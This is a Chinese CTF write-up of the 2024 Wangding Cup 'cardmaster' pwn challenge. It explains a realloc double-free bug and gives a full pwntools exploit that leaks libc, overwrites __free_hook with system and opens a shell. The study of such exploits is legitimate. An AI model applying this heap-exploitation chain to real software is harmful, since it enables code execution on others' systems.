2024 网鼎杯半决赛 pwn 题 cardmaster
2024 网鼎杯半决赛 pwn 题 cardmaster。
结构体可以恢复成这个样子:
00000000 struct card_set // sizeof=0x28
00000000 {
00000000 __int32 count;
00000004 __int32 digit_range;
00000008 __int64 random_level;
00000010 char *chara_set;
00000018 __int64 func;
00000020 cards *addr;
00000028 };
00000000 struct cards // sizeof=0x20
00000000 {
00000000 bucket *a[4];
00000020 };
00000000 struct bucket // sizeof=0xC0
00000000 { // XREF: cards/r
00000000 card bucket[12];
000000C0 };
00000000 struct card // sizeof=0x10
00000000 { // XREF: bucket/r
00000000 __int64 color;
00000008 __int64 number;
00000010 };
漏洞点在 new_set 的时候 realloc 之后没有清空指针...,所以可以 double free:
if ( (int *)a1->chara_set == &::chara ) // check chara changed
chara = (char *)malloc(4 * a1->count);
else
chara = (char *)realloc(a1->chara_set, 4 * a1->count);
show
功能中还有一个不太能打的栈溢出,index 溢出但是没有什么用。
while ( v7_idx < card_set->count )
{
v6 = 0;
for ( i = 0x80; ((unsigned __int8)i & card_set->chara_set[chara_idx]) != 0; i /= 2 )
++v6; // 0x80 -> 1
// 0x40 -> 2
// 0x20 -> 3
// 0x10 -> 4
if ( v6 > 4 )
{
puts("invalid suit table!");
exit(0);
}
v7[v7_idx] = chara_idx; // overflow here
v7[v7_idx + 52] = v6;
chara_idx += v6;
v7_idx += v6 != 0;
}
而且 realloc 如果 size 是 0 的话,行为类似于 free。每次取出之间用 init 功能来避免每次都 realloc 同样的堆块。(走第一个 malloc 分支。)
from pwn import *
import sys
elf_path = "./cardmaster"
libc_path = "./libc.so.6"
ip = ""
port = ""
context(os='linux',arch='amd64',log_level='debug')
if len(sys.argv) > 1 and sys.argv[1] == "d":
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
p = gdb.debug(elf_path)
elif len(sys.argv) > 1 and sys.argv[1] == "r":
p = remote(ip, port)
else:
p = process(elf_path)
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# ----------------------------------------------------------
def init():
sla(b">> ", b"1")
def set_info(suit_count: int, range :int, level:int, set: bytes):
sla(b">> ", b"2")
sla(b"suit count:", str(suit_count).encode())
sla(b"1 - ?", str(range).encode())
sla(b"level:", str(level).encode())
if suit_count != 0:
sla(b"set:", set)
def show():
sla(b">> ", b"5")
def show_info():
sla(b">> ", b"3")
init()
set_info(0x430//4, 10, 1, b"1")
set_info(0, 10, 1, b"")
show_info() # leak heap address
ru(b"suit chara set:")
libc_base = u64(rx(6).ljust(8, b"\x00")) - 0x3ebca0
leak("libc_base", libc_base)
free_hook = 4118760
system = 324672
set_info(0x430//4, 10, 1, b"".ljust(4*8, b"\xf1"))
set_info(0x60//4, 10, 1, b"".ljust(4*8, b"\xf1"))
set_info(0, 10, 1, b"")
set_info(0, 10, 1, b"") # double free here, realloc return 0
set_info(0x60//4, 10, 1, p64(free_hook + libc_base - 0x8).ljust(4*8, b"\xf1"))
init()
set_info(0x60//4, 10, 1, p64(libc_base + system).ljust(4*8, b"\xf1"))
init()
set_info(0x60//4, 10, 1, (b"/bin/sh\x00" + p64(libc_base + system)).ljust(4*8, b"\xf1"))
set_info(0, 10, 1, b"")
p.interactive()